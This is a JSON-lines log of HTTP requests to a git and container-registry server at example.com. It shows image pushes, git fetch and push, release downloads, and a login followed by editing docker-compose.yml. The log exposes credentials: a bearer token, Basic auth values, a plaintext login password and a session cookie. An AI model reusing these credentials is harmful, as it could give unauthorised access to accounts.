{"method": "HEAD", "target": "/v2/alice/python3-app/blobs/sha256:1854e725e9328a03d70efaa86ee7b8b824558607f656efcfc81519a9c4621068", "headers": ["Host: example.com", "User-Agent: crane/8a72a424fdecb4caa14f2d525e5d2503331442b5 go-containerregistry/v0.0.0-20260904000721-8a72a424fdec+dirty", "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3OTQ0Njg1MzYsIm5iZiI6MTc5NDM4MjEzNiwiVXNlcklEIjoxLCJTY29wZSI6ImFsbCJ9.6n67_HBXd57plKX_u-2G-eC5ojNw-dBgYZy51W7LtD0"], "body": ""}
{"method": "POST", "target": "/v2/alice/python3-app/blobs/uploads/", "headers": ["Host: example.com", "User-Agent: crane/8a72a424fdecb4caa14f2d525e5d2503331442b5 go-containerregistry/v0.0.0-20260904000721-8a72a424fdec+dirty", "Content-Length: 0", "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3OTQ0Njg1MzYsIm5iZiI6MTc5NDM4MjEzNiwiVXNlcklEIjoxLCJTY29wZSI6ImFsbCJ9.6n67_HBXd57plKX_u-2G-eC5ojNw-dBgYZy51W7LtD0", "Content-Type: application/json", "Accept-Encoding: gzip"], "body": ""}
{"method": "HEAD", "target": "/v2/alice/python3-app/blobs/sha256:f4c0b6312e4a446199d113e4858a0fd16aa27ea9edd150ba18dd9617cc44442d", "headers": ["Host: example.com", "User-Agent: crane/8a72a424fdecb4caa14f2d525e5d2503331442b5 go-containerregistry/v0.0.0-20260904000721-8a72a424fdec+dirty", "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3OTQ0Njg1MzYsIm5iZiI6MTc5NDM4MjEzNiwiVXNlcklEIjoxLCJTY29wZSI6ImFsbCJ9.6n67_HBXd57plKX_u-2G-eC5ojNw-dBgYZy51W7LtD0"], "body": ""}
{"method": "PATCH", "target": "/v2/alice/python3-app/blobs/uploads/iljdbd0gxw2zdibpfrajzu", "headers": ["Host: example.com", "User-Agent: crane/8a72a424fdecb4caa14f2d525e5d2503331442b5 go-containerregistry/v0.0.0-20260904000721-8a72a424fdec+dirty", "Content-Length: 144", "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3OTQ0Njg1MzYsIm5iZiI6MTc5NDM4MjEzNiwiVXNlcklEIjoxLCJTY29wZSI6ImFsbCJ9.6n67_HBXd57plKX_u-2G-eC5ojNw-dBgYZy51W7LtD0", "Content-Type: application/octet-stream", "Accept-Encoding: gzip"], "body": "H4sIAAAAAAAE/+zRQQoCIRTG8bfuFJ6g+Wu+8TwughYDymTQ8YOaNhK0More+y1E3ej35VonGTwASVV4TL8CiNeQFB9jQvAcohenQ1+1uZxbXp2TtZS2Hb307v5H5Vqn03FZyr5dR/0PYI6x7/25B+au/xDw4vhEpn/e/7373fiYjTHGfJfbAH2FcNwACgAA"}
{"method": "PUT", "target": "/v2/alice/python3-app/blobs/uploads/iljdbd0gxw2zdibpfrajzu?digest=sha256%3A1854e725e9328a03d70efaa86ee7b8b824558607f656efcfc81519a9c4621068", "headers": ["Host: example.com", "User-Agent: crane/8a72a424fdecb4caa14f2d525e5d2503331442b5 go-containerregistry/v0.0.0-20260904000721-8a72a424fdec+dirty", "Content-Length: 0", "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3OTQ0Njg1MzYsIm5iZiI6MTc5NDM4MjEzNiwiVXNlcklEIjoxLCJTY29wZSI6ImFsbCJ9.6n67_HBXd57plKX_u-2G-eC5ojNw-dBgYZy51W7LtD0", "Content-Type: application/octet-stream", "Accept-Encoding: gzip"], "body": ""}
{"method": "PATCH", "target": "/v2/alice/python3-app/blobs/uploads/1eu6yk4t4l8lmbsedmyw9l", "headers": ["Host: example.com", "User-Agent: crane/8a72a424fdecb4caa14f2d525e5d2503331442b5 go-containerregistry/v0.0.0-20260904000721-8a72a424fdec+dirty", "Content-Length: 233", "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3OTQ0Njg1MzYsIm5iZiI6MTc5NDM4MjEzNiwiVXNlcklEIjoxLCJTY29wZSI6ImFsbCJ9.6n67_HBXd57plKX_u-2G-eC5ojNw-dBgYZy51W7LtD0", "Content-Type: application/octet-stream", "Accept-Encoding: gzip"], "body": "{\"architecture\":\"\",\"created\":\"0001-01-01T00:00:00Z\",\"history\":[{\"created\":\"0001-01-01T00:00:00Z\"}],\"os\":\"\",\"rootfs\":{\"type\":\"layers\",\"diff_ids\":[\"sha256:19e75beae854ceb749acf78607bea3b2c0b04b74bbcc28f15e846683cf8e0b9d\"]},\"config\":{}}"}
{"method": "PUT", "target": "/v2/alice/python3-app/blobs/uploads/1eu6yk4t4l8lmbsedmyw9l?digest=sha256%3Af4c0b6312e4a446199d113e4858a0fd16aa27ea9edd150ba18dd9617cc44442d", "headers": ["Host: example.com", "User-Agent: crane/8a72a424fdecb4caa14f2d525e5d2503331442b5 go-containerregistry/v0.0.0-20260904000721-8a72a424fdec+dirty", "Content-Length: 0", "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3OTQ0Njg1MzYsIm5iZiI6MTc5NDM4MjEzNiwiVXNlcklEIjoxLCJTY29wZSI6ImFsbCJ9.6n67_HBXd57plKX_u-2G-eC5ojNw-dBgYZy51W7LtD0", "Content-Type: application/octet-stream", "Accept-Encoding: gzip"], "body": ""}
{"method": "PUT", "target": "/v2/alice/python3-app/manifests/1.0", "headers": ["Host: example.com", "User-Agent: crane/8a72a424fdecb4caa14f2d525e5d2503331442b5 go-containerregistry/v0.0.0-20260904000721-8a72a424fdec+dirty", "Content-Length: 423", "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3OTQ0Njg1MzYsIm5iZiI6MTc5NDM4MjEzNiwiVXNlcklEIjoxLCJTY29wZSI6ImFsbCJ9.6n67_HBXd57plKX_u-2G-eC5ojNw-dBgYZy51W7LtD0", "Content-Type: application/vnd.docker.distribution.manifest.v2+json", "Accept-Encoding: gzip"], "body": "{\"schemaVersion\":2,\"mediaType\":\"application/vnd.docker.distribution.manifest.v2+json\",\"config\":{\"mediaType\":\"application/vnd.docker.container.image.v1+json\",\"size\":233,\"digest\":\"sha256:f4c0b6312e4a446199d113e4858a0fd16aa27ea9edd150ba18dd9617cc44442d\"},\"layers\":[{\"mediaType\":\"application/vnd.docker.image.rootfs.diff.tar.gzip\",\"size\":144,\"digest\":\"sha256:1854e725e9328a03d70efaa86ee7b8b824558607f656efcfc81519a9c4621068\"}]}"}
{"method": "GET", "target": "/v2/token?scope=repository%3Aalice%2Fpython3-app%3Apull&service=container_registry", "headers": ["Host: example.com", "User-Agent: crane/8a72a424fdecb4caa14f2d525e5d2503331442b5 go-containerregistry/v0.0.0-20260904000721-8a72a424fdec+dirty", "Authorization: Basic YWxpY2U6NTE4ZWZkZTI0NGQ1Nzg2NGVmMTI0ODdjZGVjNzNhYTgyOGU1ZGVhZg==", "Accept-Encoding: gzip"], "body": ""}
{"method": "GET", "target": "/v2/alice/python3-app/manifests/1.0", "headers": ["Host: example.com", "User-Agent: crane/8a72a424fdecb4caa14f2d525e5d2503331442b5 go-containerregistry/v0.0.0-20260904000721-8a72a424fdec+dirty", "Accept: application/vnd.docker.distribution.manifest.v1+json,application/vnd.docker.distribution.manifest.v1+prettyjws,application/vnd.docker.distribution.manifest.v2+json,application/vnd.oci.image.manifest.v1+json,application/vnd.docker.distribution.manifest.list.v2+json,application/vnd.oci.image.index.v1+json", "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3OTQ0Njg1MzYsIm5iZiI6MTc5NDM4MjEzNiwiVXNlcklEIjoxLCJTY29wZSI6ImFsbCJ9.6n67_HBXd57plKX_u-2G-eC5ojNw-dBgYZy51W7LtD0", "Accept-Encoding: gzip"], "body": ""}
{"method": "GET", "target": "/v2/token?scope=repository%3Aalice%2Fdocker-build%3Apush%2Cpull&service=container_registry", "headers": ["Host: example.com", "User-Agent: crane/8a72a424fdecb4caa14f2d525e5d2503331442b5 go-containerregistry/v0.0.0-20260904000721-8a72a424fdec+dirty", "Authorization: Basic YWxpY2U6NTE4ZWZkZTI0NGQ1Nzg2NGVmMTI0ODdjZGVjNzNhYTgyOGU1ZGVhZg==", "Accept-Encoding: gzip"], "body": ""}
{"method": "HEAD", "target": "/v2/alice/docker-build/manifests/latest", "headers": ["Host: example.com", "User-Agent: crane/8a72a424fdecb4caa14f2d525e5d2503331442b5 go-containerregistry/v0.0.0-20260904000721-8a72a424fdec+dirty", "Accept: application/vnd.docker.distribution.manifest.v1+json,application/vnd.docker.distribution.manifest.v1+prettyjws,application/vnd.docker.distribution.manifest.v2+json,application/vnd.oci.image.manifest.v1+json,application/vnd.docker.distribution.manifest.list.v2+json,application/vnd.oci.image.index.v1+json", "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3OTQ0Njg1MzYsIm5iZiI6MTc5NDM4MjEzNiwiVXNlcklEIjoxLCJTY29wZSI6ImFsbCJ9.6n67_HBXd57plKX_u-2G-eC5ojNw-dBgYZy51W7LtD0"], "body": ""}
{"method": "HEAD", "target": "/v2/alice/docker-build/blobs/sha256:f4c0b6312e4a446199d113e4858a0fd16aa27ea9edd150ba18dd9617cc44442d", "headers": ["Host: example.com", "User-Agent: crane/8a72a424fdecb4caa14f2d525e5d2503331442b5 go-containerregistry/v0.0.0-20260904000721-8a72a424fdec+dirty", "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3OTQ0Njg1MzYsIm5iZiI6MTc5NDM4MjEzNiwiVXNlcklEIjoxLCJTY29wZSI6ImFsbCJ9.6n67_HBXd57plKX_u-2G-eC5ojNw-dBgYZy51W7LtD0"], "body": ""}
{"method": "HEAD", "target": "/v2/alice/docker-build/blobs/sha256:1854e725e9328a03d70efaa86ee7b8b824558607f656efcfc81519a9c4621068", "headers": ["Host: example.com", "User-Agent: crane/8a72a424fdecb4caa14f2d525e5d2503331442b5 go-containerregistry/v0.0.0-20260904000721-8a72a424fdec+dirty", "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3OTQ0Njg1MzYsIm5iZiI6MTc5NDM4MjEzNiwiVXNlcklEIjoxLCJTY29wZSI6ImFsbCJ9.6n67_HBXd57plKX_u-2G-eC5ojNw-dBgYZy51W7LtD0"], "body": ""}
{"method": "GET", "target": "/v2/token?scope=repository%3Aalice%2Fdocker-build%3Apush%2Cpull&scope=repository%3Aalice%2Fpython3-app%3Apull&service=container_registry", "headers": ["Host: example.com", "User-Agent: crane/8a72a424fdecb4caa14f2d525e5d2503331442b5 go-containerregistry/v0.0.0-20260904000721-8a72a424fdec+dirty", "Authorization: Basic YWxpY2U6NTE4ZWZkZTI0NGQ1Nzg2NGVmMTI0ODdjZGVjNzNhYTgyOGU1ZGVhZg==", "Accept-Encoding: gzip"], "body": ""}
{"method": "POST", "target": "/v2/alice/docker-build/blobs/uploads/?from=alice%2Fpython3-app&mount=sha256%3Af4c0b6312e4a446199d113e4858a0fd16aa27ea9edd150ba18dd9617cc44442d&origin=example.com", "headers": ["Host: example.com", "User-Agent: crane/8a72a424fdecb4caa14f2d525e5d2503331442b5 go-containerregistry/v0.0.0-20260904000721-8a72a424fdec+dirty", "Content-Length: 0", "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3OTQ0Njg1MzYsIm5iZiI6MTc5NDM4MjEzNiwiVXNlcklEIjoxLCJTY29wZSI6ImFsbCJ9.6n67_HBXd57plKX_u-2G-eC5ojNw-dBgYZy51W7LtD0", "Content-Type: application/json", "Accept-Encoding: gzip"], "body": ""}
{"method": "POST", "target": "/v2/alice/docker-build/blobs/uploads/?from=alice%2Fpython3-app&mount=sha256%3A1854e725e9328a03d70efaa86ee7b8b824558607f656efcfc81519a9c4621068&origin=example.com", "headers": ["Host: example.com", "User-Agent: crane/8a72a424fdecb4caa14f2d525e5d2503331442b5 go-containerregistry/v0.0.0-20260904000721-8a72a424fdec+dirty", "Content-Length: 0", "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3OTQ0Njg1MzYsIm5iZiI6MTc5NDM4MjEzNiwiVXNlcklEIjoxLCJTY29wZSI6ImFsbCJ9.6n67_HBXd57plKX_u-2G-eC5ojNw-dBgYZy51W7LtD0", "Content-Type: application/json", "Accept-Encoding: gzip"], "body": ""}
{"method": "PUT", "target": "/v2/alice/docker-build/manifests/latest", "headers": ["Host: example.com", "User-Agent: crane/8a72a424fdecb4caa14f2d525e5d2503331442b5 go-containerregistry/v0.0.0-20260904000721-8a72a424fdec+dirty", "Content-Length: 423", "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3OTQ0Njg1MzYsIm5iZiI6MTc5NDM4MjEzNiwiVXNlcklEIjoxLCJTY29wZSI6ImFsbCJ9.6n67_HBXd57plKX_u-2G-eC5ojNw-dBgYZy51W7LtD0", "Content-Type: application/vnd.docker.distribution.manifest.v2+json", "Accept-Encoding: gzip"], "body": "{\"schemaVersion\":2,\"mediaType\":\"application/vnd.docker.distribution.manifest.v2+json\",\"config\":{\"mediaType\":\"application/vnd.docker.container.image.v1+json\",\"size\":233,\"digest\":\"sha256:f4c0b6312e4a446199d113e4858a0fd16aa27ea9edd150ba18dd9617cc44442d\"},\"layers\":[{\"mediaType\":\"application/vnd.docker.image.rootfs.diff.tar.gzip\",\"size\":144,\"digest\":\"sha256:1854e725e9328a03d70efaa86ee7b8b824558607f656efcfc81519a9c4621068\"}]}"}
{"method": "GET", "target": "/v2/alice/python3-app/tags/list?n=1000", "headers": ["Host: example.com", "User-Agent: crane/8a72a424fdecb4caa14f2d525e5d2503331442b5 go-containerregistry/v0.0.0-20260904000721-8a72a424fdec+dirty", "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3OTQ0Njg1MzYsIm5iZiI6MTc5NDM4MjEzNiwiVXNlcklEIjoxLCJTY29wZSI6ImFsbCJ9.6n67_HBXd57plKX_u-2G-eC5ojNw-dBgYZy51W7LtD0", "Accept-Encoding: gzip"], "body": ""}
{"method": "GET", "target": "/v2/alice/python3-app/tags/list?last=1.0&n=1000", "headers": ["Host: example.com", "User-Agent: crane/8a72a424fdecb4caa14f2d525e5d2503331442b5 go-containerregistry/v0.0.0-20260904000721-8a72a424fdec+dirty", "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3OTQ0Njg1MzYsIm5iZiI6MTc5NDM4MjEzNiwiVXNlcklEIjoxLCJTY29wZSI6ImFsbCJ9.6n67_HBXd57plKX_u-2G-eC5ojNw-dBgYZy51W7LtD0", "Accept-Encoding: gzip"], "body": ""}
{"method": "GET", "target": "/v2/token?scope=repository%3Aalice%2Fdocker-build%3Apull&service=container_registry", "headers": ["Host: example.com", "User-Agent: crane/8a72a424fdecb4caa14f2d525e5d2503331442b5 go-containerregistry/v0.0.0-20260904000721-8a72a424fdec+dirty", "Authorization: Basic YWxpY2U6NTE4ZWZkZTI0NGQ1Nzg2NGVmMTI0ODdjZGVjNzNhYTgyOGU1ZGVhZg==", "Accept-Encoding: gzip"], "body": ""}
{"method": "GET", "target": "/v2/alice/docker-build/manifests/latest", "headers": ["Host: example.com", "User-Agent: crane/8a72a424fdecb4caa14f2d525e5d2503331442b5 go-containerregistry/v0.0.0-20260904000721-8a72a424fdec+dirty", "Accept: application/vnd.docker.distribution.manifest.v1+json,application/vnd.docker.distribution.manifest.v1+prettyjws,application/vnd.docker.distribution.manifest.v2+json,application/vnd.oci.image.manifest.v1+json,application/vnd.docker.distribution.manifest.list.v2+json,application/vnd.oci.image.index.v1+json", "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3OTQ0Njg1MzYsIm5iZiI6MTc5NDM4MjEzNiwiVXNlcklEIjoxLCJTY29wZSI6ImFsbCJ9.6n67_HBXd57plKX_u-2G-eC5ojNw-dBgYZy51W7LtD0", "Accept-Encoding: gzip"], "body": ""}
{"method": "GET", "target": "/v2/alice/docker-build/blobs/sha256:f4c0b6312e4a446199d113e4858a0fd16aa27ea9edd150ba18dd9617cc44442d", "headers": ["Host: example.com", "User-Agent: crane/8a72a424fdecb4caa14f2d525e5d2503331442b5 go-containerregistry/v0.0.0-20260904000721-8a72a424fdec+dirty", "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3OTQ0Njg1MzYsIm5iZiI6MTc5NDM4MjEzNiwiVXNlcklEIjoxLCJTY29wZSI6ImFsbCJ9.6n67_HBXd57plKX_u-2G-eC5ojNw-dBgYZy51W7LtD0", "Accept-Encoding: gzip"], "body": ""}
{"method": "GET", "target": "/v2/alice/docker-build/blobs/sha256:1854e725e9328a03d70efaa86ee7b8b824558607f656efcfc81519a9c4621068", "headers": ["Host: example.com", "User-Agent: crane/8a72a424fdecb4caa14f2d525e5d2503331442b5 go-containerregistry/v0.0.0-20260904000721-8a72a424fdec+dirty", "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3OTQ0Njg1MzYsIm5iZiI6MTc5NDM4MjEzNiwiVXNlcklEIjoxLCJTY29wZSI6ImFsbCJ9.6n67_HBXd57plKX_u-2G-eC5ojNw-dBgYZy51W7LtD0", "Accept-Encoding: gzip"], "body": ""}
{"method": "POST", "target": "/alice/tools.git/git-upload-pack", "headers": ["Host: example.com", "User-Agent: git/2.49.1", "Accept-Encoding: deflate, gzip, br, zstd", "Content-Type: application/x-git-upload-pack-request", "Accept: application/x-git-upload-pack-result", "Git-Protocol: version=2", "Content-Length: 473"], "body": "0011command=fetch001aagent=git/2.49.1-Linux0016object-format=sha10001000dthin-pack000fno-progress000dofs-delta0032want 0992a6293c77c3ef1f9a8d37b774deddcbef2e23\n0032want 4b5ec1aab65272b63b5b1f39bfc2c14684c063a0\n0032want 0992a6293c77c3ef1f9a8d37b774deddcbef2e23\n0032want f7ffa60396d99f61315a5a9a225fc32eb6228fdb\n0032want bbe5223a9a4f84e7c3d7206f4bdd062239e8309b\n0032want 15e1fb0f45ffdb9d4d07ccf23b8971fca09ab2ca\n0032want 15e1fb0f45ffdb9d4d07ccf23b8971fca09ab2ca\n0009done\n0000"}
{"method": "POST", "target": "/alice/tools.git/git-receive-pack", "headers": ["Host: example.com", "Authorization: Basic YWxpY2U6NTE4ZWZkZTI0NGQ1Nzg2NGVmMTI0ODdjZGVjNzNhYTgyOGU1ZGVhZg==", "User-Agent: git/2.49.1", "Accept-Encoding: deflate, gzip, br, zstd", "Content-Type: application/x-git-receive-pack-request", "Accept: application/x-git-receive-pack-result", "Content-Length: 519"], "body": "MDBiZDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAgY2M0ZDVlMDVlMWIzMTg0ZjQ3MTZlZDE1OGQyNWI4Y2ZhZTM4NzU0MyByZWZzL2hlYWRzL2RvY2tlci1idWlsZAAgcmVwb3J0LXN0YXR1cy12MiBzaWRlLWJhbmQtNjRrIHF1aWV0IG9iamVjdC1mb3JtYXQ9c2hhMSBhZ2VudD1naXQvMi40OS4xLUxpbnV4MDAwMFBBQ0sAAAACAAAABJENeJyVi10KwjAQBt9zirwLkp+2mwURffcSm80XLLS2tBE8vvUIzsvAwLQNsIQsA+D7mAjJkfOSMVTppEKZNUCVAwezyoZXs445yBA4KpFGVF9ZUomUibqCUjSjBoRo5N2ey2bv06iwF/npho/M64SzLvPVeuIupuD73p7cgTnqPLaGvybzGPdm6zhhN18fLT8K8AKeTXt+RMTzqiOmBNVYae5fWGAYnHice8b0jGmDCaOIb2jBcr50ZZ79x/sfSmXMOBZVkFs42YNRDgDQmAyf9gKBbcdPQPqMH4Wr8ShABeE9G0Q2EXic62RcwzjBRCYns7hErziDQav39///EVurZi0SCOP5u3X/31Yu/om6MQA3nhDoN3icyylW0M1J5AIACRECBP3ERXDJ4M4Guqo/ktYk+wdQ6W4g"}
{"method": "POST", "target": "/alice/tools.git/git-receive-pack", "headers": ["Host: example.com", "Authorization: Basic YWxpY2U6NTE4ZWZkZTI0NGQ1Nzg2NGVmMTI0ODdjZGVjNzNhYTgyOGU1ZGVhZg==", "User-Agent: git/2.49.1", "Accept-Encoding: deflate, gzip, br, zstd", "Content-Type: application/x-git-receive-pack-request", "Accept: application/x-git-receive-pack-result", "Content-Length: 193"], "body": "00bdcc4d5e05e1b3184f4716ed158d25b8cfae387543 0000000000000000000000000000000000000000 refs/heads/docker-build\u0000 report-status-v2 side-band-64k quiet object-format=sha1 agent=git/2.49.1-Linux0000"}
{"method": "GET", "target": "/alice/powershell-scripts.git/info/refs?service=git-upload-pack", "headers": ["Host: example.com", "User-Agent: git/2.49.1", "Accept: */*", "Accept-Encoding: deflate, gzip, br, zstd", "Pragma: no-cache", "Git-Protocol: version=2"], "body": ""}
{"method": "GET", "target": "/repo-avatars/f9e66d43eb4888aac5d9d93745661631a09b4c73969226a3e89b2911ece215ba", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/explore/repos", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/explore/users?q=alice", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/avatars/f9e66d43eb4888aac5d9d93745661631a09b4c73969226a3e89b2911ece215ba?size=128", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/explore/users?q=alice", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/avatars/f9e66d43eb4888aac5d9d93745661631a09b4c73969226a3e89b2911ece215ba?size=64", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/alice/tools", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/alice/tools/raw/branch/main/docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/alice/tools/issues", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/alice/tools/releases/tag/v1.1.0", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/alice/tools/wiki", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/alice/-/packages/generic/tools/1.2.0", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/alice/-/packages/container/python3-app/1.0", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/user/login?redirect_to=%2Falice%2Ftools%2F_edit%2Fmain%2Fdocker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/alice/tools/releases/download/v1.1.0/tools-linux-amd64.tar.gz", "headers": ["user-agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "accept: */*", "accept-encoding: gzip,deflate,br", "cookie: redirect_to=%2Falice%2Ftools%2F_edit%2Fmain%2Fdocker-compose.yml", "Host: example.com", "Connection: keep-alive"], "body": ""}
{"method": "GET", "target": "/alice/tools/releases/download/v1.2.0/install-script.sh", "headers": ["user-agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "accept: */*", "accept-encoding: gzip,deflate,br", "cookie: redirect_to=%2Falice%2Ftools%2F_edit%2Fmain%2Fdocker-compose.yml", "Host: example.com", "Connection: keep-alive"], "body": ""}
{"method": "POST", "target": "/user/login", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 43", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/login?redirect_to=%2Falice%2Ftools%2F_edit%2Fmain%2Fdocker-compose.yml", "Accept-Encoding: gzip, deflate", "Cookie: redirect_to=%2Falice%2Ftools%2F_edit%2Fmain%2Fdocker-compose.yml"], "body": "user_name=alice&password=Hv4-mQz8-Lr2x-Tp9w"}
{"method": "GET", "target": "/alice/tools/_edit/main/docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/login?redirect_to=%2Falice%2Ftools%2F_edit%2Fmain%2Fdocker-compose.yml", "Accept-Encoding: gzip, deflate", "Cookie: session=371401f8fa63ecd5; lang=en-US"], "body": ""}
